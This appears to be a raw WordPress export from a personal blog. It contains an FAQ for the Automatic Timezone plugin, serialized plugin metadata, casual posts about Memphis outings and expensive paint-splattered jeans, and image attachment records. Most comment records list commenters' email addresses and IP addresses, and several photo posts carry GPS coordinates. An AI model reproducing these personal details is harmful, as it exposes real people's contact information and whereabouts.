    The zoneinfo database uses a method of timezone choices that most people may not be familiar with. Instead of picking a named timezone, you pick a major city close to you that shares your timezone. The reason for this is although there's 24 hours in the day, there's hundreds of different ways of dealing with daylight savings time around the world, and laws and such change these all the time. The zoneinfo database tracks these and stores each different set of settings in a different "named" timezone, named after an area, such as a city, that uses that set of rules. So instead of picking something like "Central Time" or "Greenwich Mean Time", you will choose a city. That determines what set of daylight savings rules you will use. For your convienence, the cities are grouped by continent.

    The screenshot shows more information than my screen does!

    If you are using PHP 5.2 and up, you will get some extra information such as the time of the next daylight savings switch. This code does not work in versions of PHP previous to 5.2. If your host supports it, please consider switching your hosting service to use PHP 5 and up. Many hosts provide both PHP 4 and 5, but have PHP 4 as the default. PHP 5 is much better and has much better support for this sort of thing. More and more systems are requiring PHP 5 nowadays, and WordPress might be next. Do yourself a favor and ask your hosting service how you can use PHP 5 now. Beat the rush.

    The plugin won't activate, it says it can't find a list of timezones.

    The plugin won't work on some systems. Notably, Windows servers running PHP 4. Upgrade to PHP 5.

    It's not working, and I'm using PHP 4 on a non-Windows system.

    This plugin works best with PHP 5.1 and up, but it should also work okay on some PHP 4 systems with Linux/Unix hosting. If it doesn't, email me and I'll try to help. It does try a few different methods, but if it won't activate, then it also won't work, so don't try to force it or anything.

    ";s:12:"download_url";s:66:"http://downloads.wordpress.org/plugin/automatic-timezone.1.7.1.zip";s:4:"tags";s:70:"offset, utc, timezone, time, savings, GMT, daylight, otto, dst, otto42";s:11:"compat_with";s:5:"2.9.2";s:10:"downloaded";s:5:"7,026";s:6:"rating";s:1:"5";s:8:"link_url";s:55:"http://wordpress.org/extend/plugins/automatic-timezone/";s:7:"updated";s:16:"December 4, 2008";s:11:"updated_ago";s:12:"487 days ago";s:8:"download";s:83:"%s";s:8:"homepage";s:83:"%s";s:4:"link";s:72:"%s";s:7:"profile";s:67:"%s";s:10:"author_url";s:23:"http://ottodestruct.com";s:11:"author_name";s:4:"Otto";s:13:"latest_change";s:125:"
    • Fixed translation functionality for special activation case. Never assume a global when you're unsure. :)
    ";s:13:"download_link";s:66:"http://downloads.wordpress.org/plugin/automatic-timezone.1.7.1.zip";s:9:"tags_list";s:70:"offset, utc, timezone, time, savings, GMT, daylight, otto, dst, otto42";s:6:"extend";s:55:"http://wordpress.org/extend/plugins/automatic-timezone/";s:17:"last_updated_nice";s:16:"December 4, 2008";s:12:"last_updated";s:16:"December 4, 2008";s:16:"last_updated_ago";s:12:"487 days ago";s:16:"last_updated_raw";s:10:"2008-12-04";}
    6258 murkee@gmail.com http://www.murky.org/blg/ 86.16.168.115 2008-08-20 04:46:48 2008-08-20 09:46:49 1 0 0 6365 http://gidibao.net/index.php/2008/10/28/automatic-timezone-in-italiano/ 74.54.41.162 2008-10-28 14:58:14 2008-10-28 19:58:14 1 pingback 0 0 6043 http://planetozh.com/blog/2008/08/2008-plugin-competition-review-part-one/ 64.111.110.28 2008-08-07 04:25:23 2008-08-07 09:25:23 1 pingback 0 0 5950 http://weblogtoolscollection.com/pluginblog/2008/06/19/automatic-timezone/ 74.208.106.67 2008-06-19 14:45:05 2008-06-19 19:45:05 1 pingback 0 0 5952 http://testlab.popularlogistics.com/2008/06/21/ottodestructs-automatic-timezone-plugin2008-plugin-competition/ 69.89.27.234 2008-06-21 09:49:23 2008-06-21 14:49:23 1 pingback 0 0 6442 http://www.saphod.net/2008/10/27/end-of-daylight-saving-time-2008/ 85.13.129.225 2008-11-10 03:55:59 2008-11-10 09:55:59 1 pingback 0 0 6346 http://www.blog.tocki.de/2008-10-25/winterzeit-timezone-plugin/ 212.227.114.147 2008-10-25 10:43:59 2008-10-25 15:43:59 1 pingback 0 0 6349 http://www.wp-plugin-archive.de/2008/10/26/automatic-timezone/ 85.214.84.38 2008-10-26 03:27:58 2008-10-26 08:27:58 1 pingback 0 0 6350 http://mapu.de/2220/winterzeit-2/ 174.133.240.114 2008-10-26 05:51:07 2008-10-26 10:51:07 1 pingback 0 0 6352 adewsuisse@hotmail.com 85.5.200.44 2008-10-26 12:54:05 2008-10-26 17:54:05 1 0 0 6353 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-10-26 14:01:12 2008-10-26 19:01:12 in your php files, especially for WordPress plugins.]]> 1 6352 1 5989 http://www.texto.de/texto/es-kann-nur-einen-geben-plugin-competition/ 217.20.117.250 2008-07-10 14:24:46 2008-07-10 19:24:46 1 pingback 0 0 6167 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-06-30 07:58:55 2008-06-30 12:58:55 1 0 0 6166 9.silence@gmail.com http://rworks.org 58.187.148.34 2008-06-28 21:55:43 2008-06-29 02:55:43 I used your plugin and set the city ( Saigon ) but the problem still remain.
    Here is in the General Setting :

    "UTC time is 2008-06-22 3:56:07
    UTC +7 is 2008-06-22 10:56:07
    Fortunately for you, you're using the Automatic Timezone plugin, and it has automatically set this value for you.
    This setting will change automatically if Daylight Savings Time rolls around."

    It's totally wrong cause today is 06/29/2008 :| Anything can fix that problem ?]]>
    1 0 0
    6256 ottodestruct_com@plaidcow.net http://moo.plaidcow.net/ 199.46.199.232 2008-08-19 10:52:33 2008-08-19 15:52:33 1 0 0 6361 devrekli@gmail.com http://blog.turkbaron.com 78.175.230.106 2008-10-28 09:13:24 2008-10-28 14:13:24 1 0 0 6362 infocafe@gidibao.net http://gidibao.net/ 85.18.103.172 2008-10-28 09:33:08 2008-10-28 14:33:08 1 0 0 6363 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-10-28 09:58:05 2008-10-28 14:58:05 1 6362 1 6355 adewsuisse@hotmail.com 85.5.200.44 2008-10-26 18:42:42 2008-10-26 23:42:42 1 0 0 6368 http://blog.bokhorst.biz/wordpress-plugins/162/ 85.158.203.86 2008-10-30 01:48:52 2008-10-30 06:48:52 1 pingback 0 0 6369 mbrashars@gmail.com 72.197.190.187 2008-10-30 06:54:34 2008-10-30 11:54:34 1 0 0 6370 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-10-30 08:58:34 2008-10-30 13:58:34 1 6369 1 6257 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-08-19 11:17:35 2008-08-19 16:17:35 1 0 1 6259 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-08-20 09:17:50 2008-08-20 14:17:50 1 0 1 6260 murkee@gmail.com http://www.murky.org/blg/ 86.16.168.115 2008-08-20 12:37:21 2008-08-20 17:37:21 1 0 0 6264 ottodestruct_com-comments@plaidcow.net http://moo.plaidcow.net/ 98.226.140.152 2008-08-25 17:24:26 2008-08-25 22:24:26 1 0 0 6616 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2009-01-04 01:44:05 2009-01-04 07:44:05 1 6615 1 6615 swartzc@gmail.com 216.27.135.217 2009-01-03 23:13:36 2009-01-04 05:13:36 1 0 0 6603 ajayverma1986@gmail.com 118.94.115.244 2008-12-25 05:23:53 2008-12-25 11:23:53 1 0 0 6604 otto@ottodestruct.com http://ottodestruct.com 99.164.139.131 2008-12-25 11:10:00 2008-12-25 17:10:00 1 6603 1 6677 http://www.alephnaught.com/Blog/?p=1037 64.202.166.213 2009-01-29 22:20:48 2009-01-30 04:20:48 1 pingback 0 0 6694 http://wordpress.blogos.dk/2009/02/10/automatic-timezone/ 64.22.124.163 2009-02-10 04:25:30 2009-02-10 10:25:30 1 pingback 0 0 6695 vince@alphak.net http://www.alphak.net/ 82.226.66.160 2009-02-10 18:41:00 2009-02-11 00:41:00 1 0 0 6703 anmari@anmari.com http://webdesign.anmari.com/web-tools/plugins-and-widgets/ical-events-list/ 121.44.39.143 2009-02-14 18:33:44 2009-02-15 00:33:44 1 0 0 6751 http://www.texto.de/wer-hat-an-der-uhr-gedreht-803/ 212.95.32.93 2009-03-29 07:58:23 2009-03-29 12:58:23 1 pingback 0 0 6750 http://www.macbloggen.se/tips-trix/automatisk-sommartid/ 83.227.189.202 2009-03-28 14:44:19 2009-03-28 19:44:19 1 pingback 0 0 6752 http://meinungsguck.de/2009/03/31/wordpress-automatische-sommer-winterzeit-umstellung-mit-automatic-timezone/ 92.51.129.244 2009-03-30 17:00:17 2009-03-30 22:00:17 1 pingback 0 0 6762 http://blogwiese.de/blog/3820/erster-blog-wichtige-plugins 85.25.120.133 2009-04-07 09:10:56 2009-04-07 14:10:56 1 pingback 0 0 6780 http://www.wptavern.com/forum/general-wordpress/420-overdue-dst-reminder.html#post3238 67.228.235.94 2009-04-28 01:00:31 2009-04-28 06:00:31 1 pingback 0 0 6781 peter@squarecandydesign.com http://squarecandydesign.com 208.120.198.28 2009-05-02 18:35:18 2009-05-02 23:35:18 1 0 0 6796 info@hausmeisterkick.de http://www.hausmeisterkick.de 88.67.51.99 2009-05-12 04:50:58 2009-05-12 09:50:58 1 6795 0 6783 otto@ottodestruct.com http://ottodestruct.com 75.64.200.54 2009-05-04 20:17:03 2009-05-05 01:17:03 1 6781 1 6794 info@hausmeisterkick.de http://www.hausmeisterkick.de 88.67.51.99 2009-05-11 07:39:02 2009-05-11 12:39:02 1 0 0 6795 otto@ottodestruct.com http://ottodestruct.com 75.64.200.54 2009-05-11 08:16:38 2009-05-11 13:16:38 Timezone page and choose your zone.]]> 1 6794 1 6797 otto@ottodestruct.com http://ottodestruct.com 75.64.200.54 2009-05-12 06:35:18 2009-05-12 11:35:18 1 6796 1 6798 info@hausmeisterkick.de http://www.hausmeisterkick.de 88.67.51.99 2009-05-12 08:23:23 2009-05-12 13:23:23 1 6797 0 6802 http://yellowantphil.com/blog/?p=22 74.220.207.92 2009-05-18 00:01:36 2009-05-18 05:01:36 1 pingback 0 0 6803 http://www.blogtraum.de/2009/05/die-20-nuetzlichsten-wordpress-plugins/ 80.237.132.116 2009-05-18 00:04:02 2009-05-18 05:04:02 1 pingback 0 0 6819 http://www.wp-plugin-archive.de/2009/05/23/automatic-timezone-plugin/ 85.214.102.173 2009-05-23 05:33:08 2009-05-23 10:33:08 1 pingback 0 0 6837 http://op111.net/71 69.55.231.96 2009-06-02 05:39:20 2009-06-02 10:39:20 1 pingback 0 0 6832 kgagne@gamebits.net http://www.showbits.net/ 199.92.213.99 2009-05-28 15:06:20 2009-05-28 20:06:20 1 6783 0 6833 otto@ottodestruct.com http://ottodestruct.com 75.64.200.54 2009-05-28 15:10:54 2009-05-28 20:10:54 1 6832 1 6834 kgagne@gamebits.net http://blogs.computerworld.com/gagne/ 199.92.213.99 2009-05-29 10:06:44 2009-05-29 15:06:44 1 6833 0 6854 http://www.blog.tocki.de/2009-06-12/blog-fur-ben-willikens/ 212.227.114.147 2009-06-12 01:40:52 2009-06-12 06:40:52 1 pingback 0 0 6855 http://nslog.com/2009/06/11/wordpress_28_upgrade 72.47.218.47 2009-06-13 08:11:08 2009-06-13 13:11:08 1 pingback 0 0
    Photos of Me http://ottodestruct.com/blog/photos/photos-of-me/ Fri, 20 Jun 2008 16:41:33 +0000 174 2008-06-20 10:41:33 2008-06-20 16:41:33 closed open photos-of-me publish 144 0 page 0 btc_comment_counts a:0:{} btc_comment_summary a:0:{} nav-get http://ottodestruct.com/blog/wordpress-plugins/automatic-timezone/nav-get/ Fri, 20 Jun 2008 17:14:21 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/06/nav-get.png 177 2008-06-20 12:14:21 2008-06-20 17:14:21 open open nav-get inherit 173 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/06/nav-get.png _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/06/nav-get.png _wp_attachment_metadata a:5:{s:5:"width";i:48;s:6:"height";i:48;s:14:"hwstring_small";s:22:"height='48' width='48'";s:4:"file";s:75:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/06/nav-get.png";s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Lee and his daughter http://ottodestruct.com/blog/2008/lee-and-his-daughter/ Sun, 22 Jun 2008 01:08:20 +0000 http://ottodestruct.com/blog/2008/06/23/lee-and-his-daughter/ Multimedia message, originally uploaded by Otto42.]]> 182 2008-06-21 20:08:20 2008-06-22 01:08:20 open open lee-and-his-daughter publish 0 0 post 0 _geo_location 35.135161,-90.059017 _edit_lock 1216835374 _edit_last 1 _geo_converted wp_geo_mashup_locations.id = 4 _geo_converted wp_geo_mashup_locations.id = 4 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Dancing at Calhoun's http://ottodestruct.com/blog/2008/dancing-at-calhouns/ Sun, 22 Jun 2008 06:33:39 +0000 http://ottodestruct.com/blog/2008/06/23/dancing-at-calhouns/ Multimedia message, originally uploaded by Otto42.]]> 184 2008-06-22 01:33:39 2008-06-22 06:33:39 open open dancing-at-calhouns publish 0 0 post 0 _edit_lock 1216835872 _geo_location 35.13267928527375,-90.05845069885254 _edit_last 1 _geo_converted wp_geo_mashup_locations.id = 5 _geo_converted wp_geo_mashup_locations.id = 5 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Pub Olympics! http://ottodestruct.com/blog/2008/pub-olympics/ Sun, 22 Jun 2008 18:09:44 +0000 http://ottodestruct.com/blog/2008/06/23/pub-olympics/ Multimedia message, originally uploaded by Otto42.]]> 186 2008-06-22 13:09:44 2008-06-22 18:09:44 open open pub-olympics publish 0 0 post 0 _edit_lock 1216835214 _geo_location 35.140461,-90.053819 _edit_last 1 _geo_converted wp_geo_mashup_locations.id = 6 _geo_converted wp_geo_mashup_locations.id = 6 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Chad and Angie http://ottodestruct.com/blog/2008/chad-and-angie/ Sun, 22 Jun 2008 18:59:37 +0000 http://ottodestruct.com/blog/2008/06/23/chad-and-angie/ Multimedia message, originally uploaded by Otto42.]]> 188 2008-06-22 13:59:37 2008-06-22 18:59:37 open open chad-and-angie publish 0 0 post 0 _edit_last 1 _edit_lock 1216835225 _geo_location 35.140461,-90.053819 _geo_converted wp_geo_mashup_locations.id = 6 _geo_converted wp_geo_mashup_locations.id = 6 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Fun at the Boat Races http://ottodestruct.com/blog/2008/fun-at-the-boat-races/ Sun, 22 Jun 2008 22:41:40 +0000 http://ottodestruct.com/blog/2008/06/23/fun-at-the-boat-races/ Multimedia message, originally uploaded by Otto42.]]> 190 2008-06-22 17:41:40 2008-06-22 22:41:40 open open fun-at-the-boat-races publish 0 0 post 0 _geo_location 35.140461,-90.053819 _edit_lock 1216835233 _edit_last 1 _geo_converted wp_geo_mashup_locations.id = 6 _geo_converted wp_geo_mashup_locations.id = 6 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Yard racing http://ottodestruct.com/blog/2008/yard-racing/ Sun, 22 Jun 2008 23:15:50 +0000 http://ottodestruct.com/blog/2008/06/23/yard-racing/ Multimedia message, originally uploaded by Otto42.]]> 192 2008-06-22 18:15:50 2008-06-22 23:15:50 open open yard-racing publish 0 0 post 0 _geo_location 35.140461,-90.053819 _edit_lock 1216835238 _edit_last 1 _geo_converted wp_geo_mashup_locations.id = 6 _geo_converted wp_geo_mashup_locations.id = 6 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Weekend update http://ottodestruct.com/blog/2008/weekend-update/ Mon, 23 Jun 2008 14:23:44 +0000 http://ottodestruct.com/blog/?p=195 Publympics. Paul emailed us all asking for judges, and I volunteered. Hey, free beer and lots of pain? Sign me up! One thing I did learn was that if I'm going to be outside in the heat all day drinking, then wearing sunblock is not optional. The other thing I learned is that it is actually possible for a human being to sweat beer like in one of those Gatorade commercials. Beer. Is it in you? On the whole, a good time. I don't recall who won, but quite frankly, everybody won. By the end, I don't even think there were enough teams still around to do the tricycle races, and so I left just before that point. When they busted out the yards and started chugging (not on the list of events, BTW), then I figured that it was all over bar the puking. Heavy college deja-vu.]]> 195 2008-06-23 09:23:44 2008-06-23 14:23:44 open open weekend-update publish 0 0 post 0 _edit_lock 1214233047 _geo_location , _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6198 geisera@gmail.com http://www.thehoopandtonyshow.com 75.64.214.19 2008-06-25 02:25:24 2008-06-25 07:25:24
    Also, thanks for your help.

    Tony]]>
    1 0 0
    George Carlin http://ottodestruct.com/blog/2008/george-carlin/ Mon, 23 Jun 2008 14:56:21 +0000 http://ottodestruct.com/blog/?p=197 197 2008-06-23 09:56:21 2008-06-23 14:56:21 open open george-carlin publish 0 0 post 0 _edit_lock 1214232983 _geo_location , _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6161 tamaraglickman@gmail.com http://shesoverbored.blogspot.com 72.188.231.219 2008-06-24 11:24:41 2008-06-24 16:24:41 1 0 0 6162 tamaraglickman@gmail.com http://shesoverbored.blogspot.com 72.188.231.219 2008-06-25 10:22:24 2008-06-25 15:22:24 1 0 0 Fashion gone berserk http://ottodestruct.com/blog/2008/fashion-gone-berserk/ Wed, 02 Jul 2008 21:09:20 +0000 http://ottodestruct.com/blog/?p=200 Too lazy to paint a house yourself?[/wp_caption] That's right kiddies, JCrew sells pre-paint stained jeans. For those people too lazy to paint a house, now you can look like you've actually been working too, but without all that pain in the ass "labor". I understood the patched jeans fad. The scuffed torn thing, I got. The wrong size thing was weird to me, and god help me I even understand stone-washed. But this is simply too far out there for me. Not because of the look, although they look terrible, but because of the price. Those jeans cost $285. That's right. Take one $60-$80 pair of jeans, add $1 worth of white paint, and charge $285 for it. Note the salesmanship tactics they use in the description. Emphasis is mine:
    A hand-crafted collector's item in authentic selvedge cotton denim from one of Japan's oldest and most renowned mills. We spend hours on each pair to create a unique jean for the most discerning denim connoisseur, so we have only a handful available—and no two are quite alike. Each one is made with denim woven on the original 100-year-old narrow looms. Each pair is stonewashed, hand-distressed, hand-splattered with paint and hand-finished, giving it the kind of character only individual attention can impart. Button fly. Traditional five-pocket styling, with reinforced back pockets. Import. Machine wash. Catalog/jcrew.com only.
    My questions about this copy are two-fold:
    1. Who the hell considers themselves to be a "discerning denim connoisseur"?
    2. I wonder if this sort of sales pitch really obscures the fact that you're paying damn near $300 for a pair of pre-ruined jeans?
    ]]>
    200 2008-07-02 16:09:20 2008-07-02 21:09:20 open open fashion-gone-berserk publish 0 0 post 0 _edit_lock 1216747359 _geo_location , _edit_last 1 comment_count 5 trackback_count btc_comment_counts a:0:{} btc_comment_summary a:0:{} 6156 upfidupfi@gmx.de http://icanhascheezburger.com 62.134.44.197 2008-07-25 08:09:55 2008-07-25 13:09:55
    cayme across u at teh lolcats and laiked ur commints on ninja ineffishuncee in grate numburs and thought ai'd
    click ur bloo linkie. Ai layk ur random thingies bery mush, but ai won't buy u a beer. U R welkum 2 cum and C mee
    in Munich (Jermanee), hoam of teh beer brooers, and ai'll gladly buy u a beer dere. Kthxbai.]]>
    1 0 0
    6157 mccormicky@gmail.com http://mccormicky.com 68.173.251.95 2008-08-03 02:43:49 2008-08-03 07:43:49 Who was it that said "noone ever lost a buck underestimating the taste of the American public", PT Barnum?]]> 1 0 0 6155 sap@velvetblues.com http://www.velvetblues.com 76.29.39.237 2008-07-17 19:57:29 2008-07-18 00:57:29
    Hey Кевин, we should partner up. I'm planning to open my own exclusive denim shoppe. :-)]]>
    1 0 0
    6153 tamaraglickman@gmail.com http://shesoverbored.blogspot.com 72.188.100.10 2008-07-02 17:34:33 2008-07-02 22:34:33
    You should have a category for asshattery.]]>
    1 0 0
    6154 mail@kevin.com.ua http://kevin.com.ua 192.94.73.37 2008-07-05 00:30:42 2008-07-05 05:30:42
    Any takers? Just check out the site www.imsogulliblepleasejusttakemymoney.com
    and for a LIMITED TIME ONLY with every purchase a Nigerian Prince will offer you his fortune.]]>
    1 0 0
    Pre-painted Jeans http://ottodestruct.com/blog/2008/fashion-gone-berserk/images_onfigure_98_98560_98560_wb8850_m_tif_a8dc0bb5631518d61/ Wed, 02 Jul 2008 21:11:09 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/07/images_onfigure_98_98560_98560_wb8850_m_tif_a8dc0bb5631518d61.jpg 201 2008-07-02 16:11:09 2008-07-02 21:11:09 open open images_onfigure_98_98560_98560_wb8850_m_tif_a8dc0bb5631518d61 inherit 200 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/07/images_onfigure_98_98560_98560_wb8850_m_tif_a8dc0bb5631518d61.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/images_onfigure_98_98560_98560_wb8850_m_tif_a8dc0bb5631518d61.jpg _wp_attachment_metadata a:6:{s:5:"width";i:393;s:6:"height";i:393;s:14:"hwstring_small";s:22:"height='96' width='96'";s:4:"file";s:129:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/images_onfigure_98_98560_98560_wb8850_m_tif_a8dc0bb5631518d61.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:73:"images_onfigure_98_98560_98560_wb8850_m_tif_a8dc0bb5631518d61-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:73:"images_onfigure_98_98560_98560_wb8850_m_tif_a8dc0bb5631518d61-300x300.jpg";s:5:"width";i:300;s:6:"height";i:300;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} Fireworks over the Mississippi River http://ottodestruct.com/blog/2008/fireworks-over-the-mississippi-river/ Sat, 05 Jul 2008 02:52:50 +0000 http://ottodestruct.com/blog/2008/07/04/multimedia-message/ Multimedia message, originally uploaded by Otto42.]]> 208 2008-07-04 21:52:50 2008-07-05 02:52:50 open open fireworks-over-the-mississippi-river publish 0 0 post 0 _edit_lock 1218227637 _edit_last 1 aktt_notify_twitter no _geo_location 35.142705,-90.056184 _geo_converted wp_geo_mashup_locations.id = 8 _geo_converted wp_geo_mashup_locations.id = 8 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Fireworks at the Warehouse http://ottodestruct.com/blog/2008/fireworks-at-the-warehouse/ Sat, 05 Jul 2008 05:00:19 +0000 http://ottodestruct.com/blog/2008/07/05/multimedia-message-2/ Multimedia message, originally uploaded by Otto42.]]> 209 2008-07-05 00:00:19 2008-07-05 05:00:19 open open fireworks-at-the-warehouse publish 0 0 post 0 aktt_notify_twitter no _edit_lock 1218227641 _edit_last 1 _geo_location 35.133356,-90.060342 _geo_converted wp_geo_mashup_locations.id = 9 _geo_converted wp_geo_mashup_locations.id = 9 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Archives http://ottodestruct.com/blog/archives/ Fri, 11 Jul 2008 17:46:34 +0000 http://ottodestruct.com/blog/?page_id=228 step=20; function scrollDivRight(id){ document.getElementById(id).scrollLeft+=step; timerRight=setTimeout("scrollDivRight('"+id+"')",10); } function scrollDivLeft(id){ document.getElementById(id).scrollLeft-=step; timerLeft=setTimeout("scrollDivLeft('"+id+"')",10); }
    [snazzy-archive] ]]>
    228 2008-07-11 12:46:34 2008-07-11 17:46:34 closed closed archives publish 0 2 page 0 _edit_lock 1216847827 _geo_location , _edit_last 1 _wp_page_template no-sidebar.php btc_comment_summary a:0:{} btc_comment_counts a:0:{}
    Best Batman Line http://ottodestruct.com/blog/2007/best-batman-line-ever/asbr020102hh1/ Fri, 11 Jul 2008 19:25:33 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/07/asbr020102hh1.jpg 233 2008-07-11 14:25:33 2008-07-11 19:25:33 open open asbr020102hh1 inherit 72 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/07/asbr020102hh1.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/asbr020102hh1.jpg _wp_attachment_metadata a:6:{s:5:"width";i:400;s:6:"height";i:438;s:14:"hwstring_small";s:22:"height='96' width='87'";s:4:"file";s:81:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/asbr020102hh1.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:25:"asbr020102hh1-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:25:"asbr020102hh1-300x328.jpg";s:5:"width";i:300;s:6:"height";i:328;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} Dogfish Head Logo http://ottodestruct.com/blog/2007/dogfish-head-beer-tasting-review/dogfish/ Fri, 11 Jul 2008 19:32:13 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/07/dogfish.jpg 238 2008-07-11 14:32:13 2008-07-11 19:32:13 open open dogfish inherit 74 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/07/dogfish.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/dogfish.jpg _wp_attachment_metadata a:6:{s:5:"width";i:320;s:6:"height";i:274;s:14:"hwstring_small";s:23:"height='96' width='112'";s:4:"file";s:75:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/dogfish.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:19:"dogfish-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:19:"dogfish-300x256.jpg";s:5:"width";i:300;s:6:"height";i:256;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} Garfield Minus Garfield http://ottodestruct.com/blog/2008/garfield-minus-garfield/fsymsogxoalw7iknlhzruhaa_5001/ Fri, 11 Jul 2008 19:35:19 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/07/fsymsogxoalw7iknlhzruhaa_5001.gif 241 2008-07-11 14:35:19 2008-07-11 19:35:19 open open fsymsogxoalw7iknlhzruhaa_5001 inherit 104 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/07/fsymsogxoalw7iknlhzruhaa_5001.gif _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/fsymsogxoalw7iknlhzruhaa_5001.gif _wp_attachment_metadata a:6:{s:5:"width";i:500;s:6:"height";i:148;s:14:"hwstring_small";s:23:"height='37' width='128'";s:4:"file";s:97:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/fsymsogxoalw7iknlhzruhaa_5001.gif";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:41:"fsymsogxoalw7iknlhzruhaa_5001-150x148.gif";s:5:"width";i:150;s:6:"height";i:148;}s:6:"medium";a:3:{s:4:"file";s:40:"fsymsogxoalw7iknlhzruhaa_5001-300x88.gif";s:5:"width";i:300;s:6:"height";i:88;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} Wheel of Fortune http://ottodestruct.com/blog/2008/spin-the-wheel/wheel1/ Fri, 11 Jul 2008 19:37:53 +0000 http://ottodestruct.com/blog/wp-content/uploads/2008/07/wheel1.jpg 243 2008-07-11 14:37:53 2008-07-11 19:37:53 open open wheel1 inherit 96 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2008/07/wheel1.jpg _wp_attached_file /home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/wheel1.jpg _wp_attachment_metadata a:6:{s:5:"width";i:520;s:6:"height";i:293;s:14:"hwstring_small";s:23:"height='72' width='128'";s:4:"file";s:74:"/home/content/o/t/t/otto42/html/blog/wp-content/uploads/2008/07/wheel1.jpg";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:18:"wheel1-150x150.jpg";s:5:"width";i:150;s:6:"height";i:150;}s:6:"medium";a:3:{s:4:"file";s:18:"wheel1-300x169.jpg";s:5:"width";i:300;s:6:"height";i:169;}}s:10:"image_meta";a:10:{s:8:"aperture";i:0;s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";i:0;s:9:"copyright";s:0:"";s:12:"focal_length";i:0;s:3:"iso";i:0;s:13:"shutter_speed";i:0;s:5:"title";s:0:"";}} Working on understanding CakeP... http://ottodestruct.com/blog/2008/working-on-understanding-cakep/ Mon, 14 Jul 2008 17:22:47 +0000 http://ottodestruct.com/blog/2008/07/14/working-on-understanding-cakep/ 341 2008-07-14 12:22:47 2008-07-14 17:22:47 open open working-on-understanding-cakep publish 0 0 post 0 aktt_notify_twitter no aktt_twitter_id 858150362 btc_comment_counts a:0:{} Memphis BBQ Map http://ottodestruct.com/blog/2008/memphis-bbq-map/ Mon, 14 Jul 2008 18:35:52 +0000 http://ottodestruct.com/blog/?p=245 Paul posted a link to a damn useful map he found today, showing all the BBQ places in Memphis. Since I know some of 